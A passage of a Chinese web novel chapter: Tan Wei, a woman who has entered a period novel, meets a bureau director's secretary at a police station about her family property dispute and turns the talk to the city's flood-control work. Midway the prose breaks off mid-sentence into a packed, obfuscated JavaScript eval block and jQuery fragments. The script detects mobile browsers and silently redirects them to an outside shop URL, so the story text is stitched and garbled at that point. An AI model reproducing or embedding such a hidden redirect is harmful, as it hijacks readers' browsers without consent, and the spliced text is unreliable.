谭薇所说的纪伯伯,就是纪家的二儿子纪连城。
纪家和谭家算得上是好几代人的通家之好。只不过谭老爷子故去,谭家舅舅北上从军之后,谭家和纪家的往来就渐渐减少了。到了谭家母亲这一辈,和纪家就只剩了一点面子情。
不过面子情也是情。
纪连城如今正做着海城市委建设局的局长。虽说遇上事了才去找人,到底不太体面,但现在也是无可奈何之举了。况且,这次虽是找他帮忙,但同时,也如果处理得好了,或许倒是两相得宜的结果。
谭薇还记得那篇年代文里,纪家也曾出现,虽然只是一些背景板的介绍,语焉不详,但冯文武几次三番想要攀上纪家,但最终也没能如愿的事情可是让谭薇印象深刻。这么看来,纪家可算得上是一颗大树。
既然曾经是通家之好,这份关系谭薇就不想断了。什么叫交情,交道打多了才有情分呢。
调解一时没有结果,警察局大家也都习以为常。午饭时间到,大家正吃着便当呢,岳中华突然看到大门口进来一个人,他眼睛一眯,站起身来。
“唐秘书,什么风把您吹来啦?”
来人是个二十出头的年轻人,衣装笔挺,笑眯眯地,“基层的同志办案辛苦,我代纪局长来慰问一下大家。”
嗯,是纪局长有事。
岳中华也是个上道的,赶忙把这位领导的大秘给领到一旁。
唐秘书低声问,“今天早上是不是谭家的人来报了案?”
岳中华想到谭薇那副不动如山的模样,试探地看了一眼唐秘书,“是,不知道您是?”
“纪局长和故去的谭家老爷子有几分交情,听说谭家出事了让我来看看。”
原来是谭薇的关系。岳中华心里有数,整理了一下语言,细细地跟唐秘书说了案情,“是这样的,报案的是谭薇……”
唐秘书听完看了一眼岳中华,“按理,报案侵占家财,诉求也算正当。”
岳中华连忙解释道,“是这样的,不过我们穆局长前阵子刚下达了指示,要降低案件发生率。现在是月末,咱们这也是想着毕竟是家事,如果能让他们自行解决那就最好了。”
唐秘书皱起了眉,岳中华说的这个他也知道。降低案件发生率。前阵子市委开会,新来的书记亲自在会上交代给公安局的穆局长的。
来之前他也请示了领导,纪局长的意思是,公安局毕竟不是他分管的,但是故交之后好不容易开一次口,看还是要去看一看的。
这话说得含糊。但是唐秘书作为领导的心腹,自然是能体察领导的意思的。纪局长的意思是,谭家和纪家虽有交情,但现在这交情却不值什么了。若是小事,帮一把未尝不可。大事的话,就要掂量掂量了。
不过虽然心里有了定计,但既然来了,唐秘书还是要见一见谭薇的。
于是他道,“不知道我能不能见一见人?”
“当然,当然。”岳中华赶忙带着唐秘书来到了谭薇所在的房间。
唐秘书进了门,第一眼就看到了端坐着的少女。
仪态端方,处变不惊。
不愧是谭家的女儿啊。唐秘书在心里暗暗道。
谭薇抬起眼,看向岳中华,然后是他身后的唐秘书,站起身走到他们跟前,伸出手来,“唐秘书您好,我是谭薇。”
唐秘书和她握了手,又看了一眼岳中华。岳中华连忙就出去了,还贴心地给他们带上了门。
唐秘书先是慰问了一番谭薇,然后就把警察局之所以希望他们和解的原因给她说了。他作为秘书替局长过来是看一看情况,不过以他对自己领导的了解,谭薇想要报案的事情既然撞上了大领导新下达的指示,纪连城多半是不会帮她的。
谭薇垂下了眼,原来是这样,难怪岳中华劝说她最好和解呢。
不过她自然是不希望和解的。
这件事如果没有官方出马,陆修占着长辈名头,能做的事可就多了。
谭薇想起自己本打算做的另一件事,心念一动,不如……
“许久没去拜访纪伯伯了,听说纪伯伯现在主持市里面的防汛工作,应该很忙吧?”
唐秘书抬了抬眉毛,纪连城的这个防汛副组长的工作是新接的。新来的□□亲自做防汛组长,纪连城现在为了在新领导面前留个好印象正铆足了劲表现呢。这在市委倒不是秘密,但这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026326|194426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位能知道——唐秘书不由得对谭薇正视了起来,“这倒是的。”又语带试探,“不知道你是怎么知道的?”
谭薇笑着道,“这次任务重大,部队不是也来支援了吗,我的未婚夫也在其中,他是210军的团长。”
唐秘书心里一震,庆幸自己先前没有对谭薇言语怠慢。团长的职级虽说也只是处级,但既然是谭薇的未婚夫,这年龄就不会大。
这样年轻的团长,前途就不好说了。
不过就算是这样,唐秘书也没有轻易松口,毕竟县官不如现管。军队是军队,地方是地方。于是他只是点了个头,“那可真是年少有为。”
谭薇,“我也听他说这次工作的难度极大,军队的人手不够,社员们也有自己的生产目标,导致防汛的工作一直进度缓慢。”
唐秘书点了点头,这是真的。纪局长最近也正为这事着急上火呢。不过这位提起这件事是什么意思呢?
而谭薇这边,她当然不是听什么未婚夫说的。她这个信息是从那本年代文里推敲来的。当然这些事在书里面只是一处闲笔。因为防汛不利,洪水在附近的公社决了好几处口,所以刚参军的冯文武和一众新兵直接被拉去抗洪了。这也是冯文武的第一处高光点,他在这次防洪中表现英勇,给他以后的金大腿们留下了深刻的印象。
这本书里只是简单地交代了一下这个背景,而谭薇则是在思考怎么去和肖穆聊一聊的时候搜集的这些资讯。但这么一关注,相关的内容就被她想了起来。
书里面只是简单地写道,“今年的洪水来得格外凶猛,很快就淹没了下游的公社,田地被淹,房屋被冲垮。”然后就开始转头写冯文武的积极和英勇了。
但就是这么一行字却让谭薇心头一沉,她在现代是经历过涝灾的人。当然她那个时代,预警撤离救灾工作都成熟很多。但现在这个时代可不一样,谭薇知道,不说是粮食和钱的损失,只说这个房屋被冲垮,就不知道有多少民众要在这场洪水中送命。她若不知道也就算了,现在她知道了,怎么可能袖手旁观。
谭薇原本就打算要做点什么,只是一直没有合适的契机。
不过,现在,契机来了。